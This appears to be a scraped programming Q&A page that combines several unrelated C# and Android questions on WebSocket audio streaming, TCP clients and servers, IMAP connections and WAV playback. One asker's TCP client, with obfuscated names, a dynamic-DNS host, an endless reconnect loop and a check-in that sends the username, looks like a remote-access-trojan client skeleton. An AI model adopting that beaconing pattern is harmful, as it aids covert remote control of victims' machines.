I am trying to send audio stream/wav file as a byte array from android to C# server, but not able to receive it properly, though I am able to receive a simple String.
C# server disconnects after few seconds, with protocol error as reason
protocol error: Code = 1002, I think when the file is large the frame size exceeds and web socket connection is lost. Is there a way out?
I also tried sending a wav file as byte array from android as following, removing the recording stream:
byte[] buffer = new byte[1024];
try {
FileInputStream fis = new FileInputStream(file);
while(true) {
int in = fis.read(buffer, 0, buffer.length);
if(in != -1) {
mWebSocket.send(buffer);
}else{
break;
}
}
}catch (Exception e) {
Log.d("Exception", e.toString());
}
Android Code:
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
Button stopPlaying, send, record, stop;
private AudioRecord audiorecord;
private static int SAMPLER = 44100; //Sample Audio Rate
private int channelConfig = AudioFormat.CHANNEL_IN_MONO;
private int audioFormat = AudioFormat.ENCODING_PCM_16BIT;
int minBufSize = AudioRecord.getMinBufferSize(SAMPLER, channelConfig, audioFormat);
private boolean status = true;
URI uri = URI.create("ws://ab1d04d2.ngrok.io");
private String outputFile = null;
private Thread senderThread = null;
private WebSocketClient mWebSocket;
private File file = null;
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
file = new File(Environment.getExternalStorageDirectory(), "recording.wav");
setContentView(honeywell.rana.sumit.voicecontrol.R.layout.activity_main);
audiorecord = new AudioRecord(MediaRecorder.AudioSource.MIC, SAMPLER, channelConfig, audioFormat, minBufSize);
send = (Button) findViewById(R.id.send);
send.setOnClickListener(this);
stop = (Button) findViewById(R.id.stop);
}
#Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.send:
AudioTask task = new AudioTask();
task.execute();
break;
case R.id.stop:
audiorecord.stop();
mWebSocket.close();
Log.d("Socket Closed", "");
default:
break;
}
}
public class AudioTask extends AsyncTask<String, Void, String> {
#Override
protected String doInBackground(String... params) {
try {
mWebSocket = new WebSocketClient(uri) {
#Override
public void onOpen(ServerHandshake handshakedata) {
Log.d("Connected: ", mWebSocket.getConnection().toString());
mWebSocket.send("hello!");
byte[] buffer = new byte[minBufSize];
audiorecord.startRecording();
while (true) {
int number = audiorecord.read(buffer, 0, minBufSize);
for (int i = 0; i < number; i++) {
mWebSocket.send(buffer);
}
}
}
#Override
public void onMessage(String message) {
Log.d("Received: ", message);
}
#Override
public void onClose(int code, String reason, boolean remote) {
Log.d("Closed", "Code = " + code + ", Reason: " + reason);
}
#Override
public void onError(Exception ex) {
Log.d("Error: ", ex.toString());
}
};
mWebSocket.connect();
} catch (Exception e) {
Log.d("Exception: ", e.toString());
}
return null;
}
}
}
C# Code:
namespace ChatServer
{
class Program
{
static WaveOut waveOut;
static BufferedWaveProvider bufferedWaveProvider = null;
private static WebSocketServer appServer = new WebSocketServer();
static void Main(string[] args)
{
Console.WriteLine("Press any key to start the WebSocketServer!");
Console.ReadKey();
Console.WriteLine();
waveOut = new WaveOut();
bufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 16, 2));
waveOut.Init(bufferedWaveProvider);
waveOut.Play();
appServer.NewMessageReceived += new SessionHandler<WebSocketSession, string>(appServer_NewMessageReceived);
appServer.NewDataReceived += new SessionHandler<WebSocketSession, byte[]>(appServer_NewDataReceived);
appServer.NewSessionConnected += AppServer_NewSessionConnected;
appServer.SessionClosed += new SessionHandler<WebSocketSession, CloseReason>(appServer_SessionClosed);
//Setup the appServer
if (!appServer.Setup(80)) //Setup with listening port
{
Console.WriteLine("Failed to setup!");
Console.ReadKey();
return;
}
//Try to start the appServer
if (!appServer.Start())
{
Console.WriteLine("Failed to start!");
Console.ReadKey();
return;
}
Console.WriteLine("The server started successfully, press key 'q' to stop it!");
while (Console.ReadKey().KeyChar != 'q')
{
Console.WriteLine();
continue;
}
//Stop the appServer
appServer.Stop();
Console.WriteLine();
Console.WriteLine("The server was stopped!");
Console.ReadKey();
}
private static void AppServer_NewSessionConnected(WebSocketSession session)
{
Console.WriteLine("New Client connected: " + session.SessionID);
}
static void appServer_SessionClosed(WebSocketSession session, CloseReason reason)
{
Console.WriteLine(reason);
}
static void appServer_NewDataReceived(WebSocketSession session, byte[] value)
{
bufferedWaveProvider.AddSamples(value, 0, value.Length);
}
static void appServer_NewMessageReceived(WebSocketSession session, string message)
{
//Send the received message back
session.Send("Server: " + message);
Console.WriteLine(message);
}
I got it working finally, it was just a minute problem. I just reduced the buffer size in android to 64/128/512 and now it's working perfectly.
Related
I create client application for read message from server. The client application has class SocketClient which has function ReadDataAsync() for read message from server like this.
namespace SocketAsync
{
public class SocketClient
{
IPAddress mServerIPAddress;
int mServerPort;
TcpClient mClient;
public SocketClient()
{
mClient = null;
mServerPort = -1;
mServerIPAddress = null;
}
public IPAddress ServerIPAddress
{
get
{
return mServerIPAddress;
}
}
public int ServerPort
{
get
{
return mServerPort;
}
}
public bool SetServerIPAddress(string _IPAddressServer)
{
IPAddress ipaddr = null;
if (!IPAddress.TryParse(_IPAddressServer, out ipaddr))
{
Debug.WriteLine("Invalid server IP supplied.");
return false;
}
mServerIPAddress = ipaddr;
return true;
}
public bool SetPortNumber(string _ServerPort)
{
int portNumber = 0;
if (!int.TryParse(_ServerPort.Trim(), out portNumber))
{
Debug.WriteLine("Invalid port number supplied, return.");
return false;
}
if (portNumber <= 0 || portNumber > 65535)
{
Debug.WriteLine("Port number must be between 0 and 65535.");
return false;
}
mServerPort = portNumber;
return true;
}
public async Task ConnectToServer()
{
if (mClient == null)
{
mClient = new TcpClient();
}
try
{
await mClient.ConnectAsync(mServerIPAddress, mServerPort);
Debug.WriteLine(
string.Format("Connected to server IP/Port: {0} / {1}",
mServerIPAddress, mServerPort));
ReadDataAsync(mClient);
}
catch (Exception excp)
{
Console.WriteLine(excp.ToString());
throw;
}
}
private async Task ReadDataAsync(TcpClient mClient)
{
try
{
StreamReader clientStreamReader = new StreamReader(mClient.GetStream());
char[] buff = new char[64];
int readByteCount = 0;
while (true)
{
readByteCount = await clientStreamReader.ReadAsync(buff, 0, buff.Length);
if (readByteCount <= 0)
{
Debug.WriteLine("Disconnected from server.");
mClient.Close();
break;
}
Debug.WriteLine(
string.Format("Received bytes: {0} - Message: {1}",
readByteCount, new string(buff)));
Array.Clear(buff, 0, buff.Length);
}
}
catch (Exception excp)
{
Console.WriteLine(excp.ToString());
throw;
}
}
}
}
ReadDataAsync() can show message in output but I want to show message in Form1. So I put the label1 in Form. I connect to server when click button1 like this.
namespace TestClient
{
public partial class Form1 : Form
{
SocketClient client = new SocketClient();
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
if(!client.SetServerIPAddress("127.0.0.1")||
!client.SetPortNumber("23000"))
{
Debug.WriteLine("Wrong IP Address or port");
return;
}
client.ConnectToServer();
string strInputUser = null;
}
Can I show message in ReadDataAsync() to Form1. How to do that?
Use events.
Create your own EventArgs to transport the messages:
public class MessageEventArgs : EventArgs
{
public string Message { get; private set; }
public MessageEventArgs(string message)
{
this.Message = message;
}
}
In your SocketClient class declare the event:
namespace SocketAsync
{
public class SocketClient
{
IPAddress mServerIPAddress;
int mServerPort;
TcpClient mClient;
public event EventHandler<MessageEventArgs> Message;
// your other code
}
}
Also in your SocketClient class, use (raise) the event in ReadDataAsync():
private async Task ReadDataAsync(TcpClient mClient)
{
try
{
StreamReader clientStreamReader = new StreamReader(mClient.GetStream());
char[] buff = new char[64];
int readByteCount = 0;
while (true)
{
readByteCount = await clientStreamReader.ReadAsync(buff, 0, buff.Length);
if (readByteCount <= 0)
{
Message?.Invoke(this, new MessageEventArgs("Disconnected from server."));
Debug.WriteLine("Disconnected from server.");
mClient.Close();
break;
}
Message?.Invoke(this, new MessageEventArgs(string.Format("Received bytes: {0} - Message: {1}",
readByteCount, new string(buff))));
Debug.WriteLine(
string.Format("Received bytes: {0} - Message: {1}",
readByteCount, new string(buff)));
Array.Clear(buff, 0, buff.Length);
}
}
catch (Exception excp)
{
Console.WriteLine(excp.ToString());
throw;
}
}
Finally, in your form, consume the event:
namespace TestClient
{
public partial class Form1 : Form
{
SocketClient client = new SocketClient();
public Form1()
{
InitializeComponent();
client.Message += Client_Message;
}
private void Client_Message(object sender, MessageEventArgs e)
{
label1.Invoke(new Action() => label1.Text = e.Message);
}
// your other code
}
}
I've been trying for several days to make the client detect it when the server connection is closed and make a loop of connection attempts until it detects the available connection (open the server) and when I try closing the connection with Client.Close and shutdown (shutdown.both) stops the application
thank you if you could help me that I'm not correcting mistakes or solving the code
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
public static TcpClient QKICDdjIKo = new TcpClient();
static IPEndPoint MjDHEHn = null;
static IPHostEntry hostEntry;
static List<TcpClient> countConnections = new List<TcpClient>();
static StreamReader reader;
private static byte[] _readBuffer;
private static byte[] _tempHeader;
public static bool Connected { get; private set; }
public static bool Exiting { get; private set; }
//
public static int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB
public static int HEADER_SIZE { get { return 4; } } // 4B
private static bool IsConnectionSuccessful = false;
private static ManualResetEvent TimeoutObject = new ManualResetEvent(false);
private static Exception socketexception;
public static bool isconnected;
public static void Connection()
{
TimeoutObject.Reset();
socketexception = null;
try
{
if (!QKICDdjIKo.Connected)
{
_readBuffer = new byte[BUFFER_SIZE];
_tempHeader = new byte[HEADER_SIZE];
hostEntry = Dns.GetHostEntry("noip host");
var ip = hostEntry.AddressList[0];
MjDHEHn = new IPEndPoint(IPAddress.Parse(ip.ToString()), 4004);
QKICDdjIKo.Connect(MjDHEHn); // Option 1
// QKICDdjIKo.BeginConnect("127.0.0.1", 4004, new AsyncCallback(khmcbmPmGPCfIOcPKOBONAbnGnfFIJnpREd), QKICDdjIKo); //Option 2
OperatingSystem os_info = Environment.OSVersion;
ConnectedVerify(Environment.UserName.ToString());
QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private static void CallBackMethod(IAsyncResult asyncresult)
{
try
{
IsConnectionSuccessful = false;
TcpClient tcpclient = asyncresult.AsyncState as TcpClient;
if (tcpclient.Client != null)
{
tcpclient.EndConnect(asyncresult);
IsConnectionSuccessful = true;
}
}
catch (Exception ex)
{
IsConnectionSuccessful = false;
socketexception = ex;
}
finally
{
TimeoutObject.Set();
}
}
public Form1()
{
InitializeComponent();
Connect();
}
public static void Connect()
{
while (!Exiting) // Main Connect Loop
{
if (!Connected)
{
Thread.Sleep(100 + new Random().Next(0, 250));
Connection();
Thread.Sleep(200);
Application.DoEvents();
}
while (Connected) // hold client open
{
Application.DoEvents();
Thread.Sleep(2500);
}
if (Exiting)
{
//QKICDdjIKo.Close();
return;
}
Thread.Sleep(3000 + new Random().Next(250, 750));
}
}
public static void ReadMSG(IAsyncResult now)
{
try
{
while (true)
{
reader = new StreamReader(QKICDdjIKo.GetStream());
Rd(reader.ReadLine());
QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);
}
}
catch
{
}
}
public static void HjoLNkEHFaqQCp(string texto)
{
try
{
StreamWriter DpBoDcECG = new StreamWriter(QKICDdjIKo.GetStream());
DpBoDcECG.WriteLine(texto);
DpBoDcECG.Flush();
}
catch
{
//
}
}
public static void Rd(string msg)
{
}
static void Status(string msg)
{
try
{
StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
writer.WriteLine("STATUS|" + msg);
writer.Flush();
}
catch
{
}
}
static void ConnectedVerify(string msg)
{
StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
writer.WriteLine("CONNECTED|" + msg);
writer.Flush();
}
static void usr(string msg)
{
StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
writer.WriteLine("USER|" + msg);
writer.Flush();
}
my question is how can i connect multiple tcp clients with a single imap server . it's for the testing purpose for my program.
as i can connects them by making a single new function for every client but cant figure out for multiple clients.
thanks in advance.
public partial class MainWindow : Window
{
public static TcpClient _imapClient1= new TcpClient("server addres",143);
public static TcpClient _imapClient2 = new TcpClient(server addres, 143);
public static NetworkStream _imapNs1;
public static NetworkStream _imapNs2;
public static StreamWriter _imapSw1;
public static StreamWriter _imapSw2;
public static StreamReader _imapSr1;
public static StreamReader _imapSr2;
public MainWindow()
{
InitializeComponent();
}
private void Button_Click(object sender, RoutedEventArgs e)
{
Thread thread1 = new Thread(startThread1);
Thread thread2 = new Thread(startThread2);
thread2.Start();
thread1.Start();
}
public static void startThread1()
{
connectToIMAP1(_imapClient1);
LoginUser1("user1", "12345");
Thread.Yield();
}
public static void startThread2()
{
connectToIMAP2(_imapClient2);
LoginUser2("user2", "12345");
Thread.Yield();
}
public static void connectToIMAP1(TcpClient _imapClient)
{
try
{
_imapNs1 = _imapClient.GetStream();
_imapSw1 = new StreamWriter(_imapNs1);
_imapSr1 = new StreamReader(_imapNs1);
Response1(_imapClient1);
// MessageBox.Show("*** Connected ***");
}
catch (SocketException ex)
{
MessageBox.Show(ex.Message);
}
}
public static void connectToIMAP2(TcpClient _imapClient)
{
try
{
_imapNs2 = _imapClient.GetStream();
_imapSw2 = new StreamWriter(_imapNs2);
_imapSr2 = new StreamReader(_imapNs2);
Response2(_imapClient2);
// MessageBox.Show("*** Connected ***");
}
catch (SocketException ex)
{
MessageBox.Show(ex.Message);
}
}
public static string Response1(TcpClient _imapClient)
{
byte[] data = new byte[_imapClient.ReceiveBufferSize];
int ret = _imapNs1.Read(data, 0, data.Length);
// string lines = Encoding.ASCII.GetString(data).ToString();
MessageBox.Show(Encoding.ASCII.GetString(data).ToString());
return Encoding.ASCII.GetString(data).TrimEnd();
}
public static string Response2(TcpClient _imapClient)
{
byte[] data = new byte[_imapClient.ReceiveBufferSize];
int ret = _imapNs2.Read(data, 0, data.Length);
// string lines = Encoding.ASCII.GetString(data).ToString();
MessageBox.Show(Encoding.ASCII.GetString(data).ToString());
return Encoding.ASCII.GetString(data).TrimEnd();
}
public static void LoginUser1(string username, string password)
{
_imapSw1.WriteLine("$ LOGIN " + username + " " + password);
_imapSw1.Flush();
Response1(_imapClient1);
}
public static void LoginUser2(string username, string password)
{
_imapSw2.WriteLine("$ LOGIN " + username + " " + password);
_imapSw2.Flush();
Response2(_imapClient2);
}
}
I am another person dabbling with C# and wanting to create a simple audio application that plays wav files loaded into the program via an upload program. My issue is that I need to get whatever audio file currently being played to pause with the track timer of the audio file being used when I start the audio file again via my Play button. I already have a global timer, 'baseTimer', that I think I can use to set the audio file, that was stopped, track duration point. However I do not know how to accomplish this nor do I really know how to use all of the mci commands yet.
I have displayed all of my code for my main application... I also have read that I may need to utilize threading, but I've also read that it would be impossible to set an audio files track duration with a thread.
public partial class FrmMain : Form
{
public FrmMain()
{
InitializeComponent();
}
System.Timers.Timer baseTimer = new System.Timers.Timer();
List<string> PlayList = new List<string>();
List<byte> PlayList_byte;
int soundNum = 0;
private string music_PATH { get; set; }
private string talk_PATH { get; set; }
private byte Pause_TIME { get; set; }
private string Pause_RADIO { get; set; }
bool isStopped = new bool();
bool isPaused = new bool();
[DllImport("winmm.dll")]
private static extern uint mciSendString(string command, StringBuilder returnValue, int returnLength, IntPtr winHandle);
public static int GetSoundLength(string fileName)
{
StringBuilder lengthBuf = new StringBuilder(32);
mciSendString(string.Format("open \"{0}\" type waveaudio alias wave", fileName), null, 0, IntPtr.Zero);
mciSendString("status wave length", lengthBuf, lengthBuf.Capacity, IntPtr.Zero);
mciSendString("close wave", null, 0, IntPtr.Zero);
int length = 0;
int.TryParse(lengthBuf.ToString(), out length);
return length;
}
private void SetPath()
{
music_PATH = #"..\\..\\commercial\list.txt";
talk_PATH = #"..\\..\\main\list.txt";
StreamReader myReader;
using (myReader = new StreamReader(music_PATH))
{
while (myReader.Peek() != -1)
{
string read = myReader.ReadLine();
PlayList.Add(read);
}
}
using (myReader = new StreamReader(talk_PATH))
{
while (myReader.Peek() != -1)
{
string read = myReader.ReadLine();
PlayList.Add(read);
}
myReader.Close();
}
foreach (string sound in PlayList)
{
soundNum++;
}
}
private string CurrentSound()
{
try
{
Random _randx = new Random();
int pick = _randx.Next(0, soundNum);
string currentaudio = PlayList[pick];
Pause_RADIO = currentaudio;
return currentaudio;
}
catch (Exception ex)
{
MessageBox.Show("Error: " + ex.Message);
}
return null;
}
string _SelectedSound = "";
private string _Sound(string currentradio, string pattern)
{
foreach (Match entry in Regex.Matches(currentradio, pattern))
{
_SelectedSound = entry.Value.ToString();
}
if (_SelectedSound == "music")
{
return "commercial";
}
else if (_SelectedSound == "talk")
{
return "main";
}
return null;
}
private void _SetTimer(string currentradio, string pattern)
{
baseTimer.Interval = GetSoundLength(#"..\\..\\" + pattern + #"\" + currentradio);
}
private bool isRepeat(string lastradio, string currentradio)
{
if (lastradio == currentradio)
{
return true;
}
else
{
return false;
}
}
private void baseTimerElasped(object sender, ElapsedEventArgs e)
{
Radio.FrmMain play = new Radio.FrmMain();
play.PlayPlayer();
}
private void PlayPlayer()
{
MediaPlayer wavplayer;
try
{
if (soundNum == 0)
{
SetPath();
PlayPlayer();
}
else
{
string currentradio = CurrentSound();
bool localcheck = isRepeat(_SelectedSound, currentradio);
if (localcheck == true)
{
PlayPlayer();
}
else
{
string Pattern = #"(music|talk)";
string selected = _Sound(currentradio, Pattern);
_SetTimer(currentradio, selected);
switch (selected)
{
case "commercial":
music_PATH = #"..\\..\\commercial\";
PlayList_byte = new List<byte>(File.ReadAllBytes(music_PATH + currentradio));
wavplayer = new MediaPlayer(PlayList_byte.GetRange(0, PlayList_byte.Count).ToArray());
wavplayer.Play();
baseTimer.Start();
break;
case "main":
talk_PATH = #"..\\..\\main\";
PlayList_byte = new List<byte>(File.ReadAllBytes(talk_PATH + currentradio));
wavplayer = new MediaPlayer(PlayList_byte.GetRange(0, PlayList_byte.Count).ToArray());
wavplayer.Play();
baseTimer.Start();
break;
}
}
}
}
catch (Exception ex)
{
MessageBox.Show("Error: " + ex.Message + ex.StackTrace + ex.Source);
}
}
private void PausePlayer()
{
MediaPlayer wavplayer = new MediaPlayer(PlayList_byte.GetRange(0, PlayList_byte.Count).ToArray());
baseTimer.Stop();
MessageBox.Show("Count: " + PlayList_byte.Count + "Pause_TIME: " + Pause_TIME + "\nPlaylist_byte" + PlayList_byte.ToString());
try
{
switch (isPaused)
{
case false:
isPaused = true;
wavplayer.Stop();
break;
case true:
isPaused = false;
string localcheck = _Sound(Pause_RADIO, #"(music|talk)");
switch (localcheck)
{
case "commercial":
music_PATH = #"..\\..\\commercial\";
wavplayer.Play(PlayList_byte.GetRange(PlayList_byte.Count - Pause_TIME, PlayList_byte.Count - Pause_TIME).ToArray());
break;
case "main":
talk_PATH = #"..\\..\\main\";
wavplayer.Play(PlayList_byte.GetRange(PlayList_byte.Count - Pause_TIME, PlayList_byte.Count - Pause_TIME).ToArray());
break;
}
break;
}
}
catch (Exception ex)
{
MessageBox.Show("Error: " + ex.Message + ex.Data);
}
}
private void btnPlay_Click(object sender, EventArgs e)
{
switch (isStopped)
{
case false:
isStopped = true;
btnPlay.Image = Image.FromFile(#"..\\..\\Pause.png");
lblPlay.Text = "Pause";
if (isPaused == false)
{
PlayPlayer();
}
else
{
PausePlayer();
}
break;
case true:
isStopped = false;
btnPlay.Image = Image.FromFile(#"..\\..\\Play.png");
lblPlay.Text = "Play";
PausePlayer();
break;
}
baseTimer.Elapsed += new ElapsedEventHandler(baseTimerElasped);
}
private void btnNext_Click(object sender, EventArgs e)
{
PlayPlayer();
}
private void btnStop_Click(object sender, EventArgs e)
{
MediaPlayer wavplayer = new MediaPlayer();
wavplayer.Stop();
baseTimer.Stop();
}
private void btnQuit_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void btnGetUpload_Click(object sender, EventArgs e)
{
Uploader FrmUpload = new Uploader();
FrmUpload.Show();
this.Hide();
}
}
class MediaPlayer
{
SoundPlayer wavplayer;
public MediaPlayer()
{
Stop();
}
public MediaPlayer(byte[] buffer)
{
MemoryStream memStream = new MemoryStream(buffer, true);
wavplayer = new SoundPlayer(memStream);
}
public void Play()
{
wavplayer.Play();
}
public void Play(byte[] buffer)
{
wavplayer.Stream.Seek(0, SeekOrigin.Begin);
wavplayer.Stream.Write(buffer, 0, buffer.Length);
wavplayer.Play();
}
public void Stop()
{
wavplayer.Stop();
}
}
Edit:
For clarity currentaudio has a file as such "music3.wav" or "talk1.wav" in it.
Super old question but just for anyone looking here's what worked for me:
double currentPos = audioplayer.CurrentPosition;
audioplayer.Play();
audioplayer.Seek(currentPos);
SoundPlayer is extremely limited, and doesn't support Pause and Resume. Are you able to use the WPF MediaElement instead? You will find it is much more powerful, supporting playing files of many types, repositioning, setting volume, pausing and resuming. You can also use it to get the file length instead of mci.
how to translate this to C#
import java.io.*;
import java.net.*;
class SimpleServer
{
private static SimpleServer server;
ServerSocket socket;
Socket incoming;
BufferedReader readerIn;
PrintStream printOut;
public static void main(String[] args)
{
int port = 8080;
try
{
port = Integer.parseInt(args[0]);
}
catch (ArrayIndexOutOfBoundsException e)
{
// Catch exception and keep going.
}
server = new SimpleServer(port);
}
private SimpleServer(int port)
{
System.out.println(">> Starting SimpleServer");
try
{
socket = new ServerSocket(port);
incoming = socket.accept();
readerIn = new BufferedReader(new InputStreamReader(incoming.getInputStream()));
printOut = new PrintStream(incoming.getOutputStream());
printOut.println("Enter EXIT to exit.\r");
out("Enter EXIT to exit.\r");
boolean done = false;
while (!done)
{
String str = readerIn.readLine();
if (str == null)
{
done = true;
}
else
{
out("Echo: " + str + "\r");
if(str.trim().equals("EXIT"))
{
done = true;
}
}
incoming.close();
}
}
catch (Exception e)
{
System.out.println(e);
}
}
private void out(String str)
{
printOut.println(str);
System.out.println(str);
}
}
Something like this should work:
using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
namespace Server
{
internal class SimpleServer
{
private static SimpleServer server;
private readonly TcpListener socket;
private SimpleServer(int port)
{
Console.WriteLine(">> Starting SimpleServer");
socket = new TcpListener(port);
socket.Start();
}
private void DoJob()
{
try
{
bool done = false;
while (!done)
{
TcpClient client = socket.AcceptTcpClient();
NetworkStream stream = client.GetStream();
var reader = new StreamReader(stream, Encoding.UTF8);
String str = reader.ReadLine();
if (str == null)
{
done = true;
}
else
{
printOut(str, stream);
if (str.Trim() == "EXIT")
{
done = true;
}
}
client.Close();
}
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
public static void main(String[] args)
{
int port = 8080;
try
{
port = Int32.Parse(args[0]);
}
catch (Exception e)
{
// Catch exception and keep going.
}
server = new SimpleServer(port);
server.DoJob();
}
private void printOut(String str, Stream stream)
{
byte[] bytes = Encoding.UTF8.GetBytes("Echo: " + str + "\r\n");
stream.Write(bytes, 0, bytes.Length);
Console.WriteLine(str);
}
}
}
edit: but be careful with encoding
Take a look at the TCPListener sample on MSDN. It's very similar to what you're trying to do above, and porting the few differences over should be easy.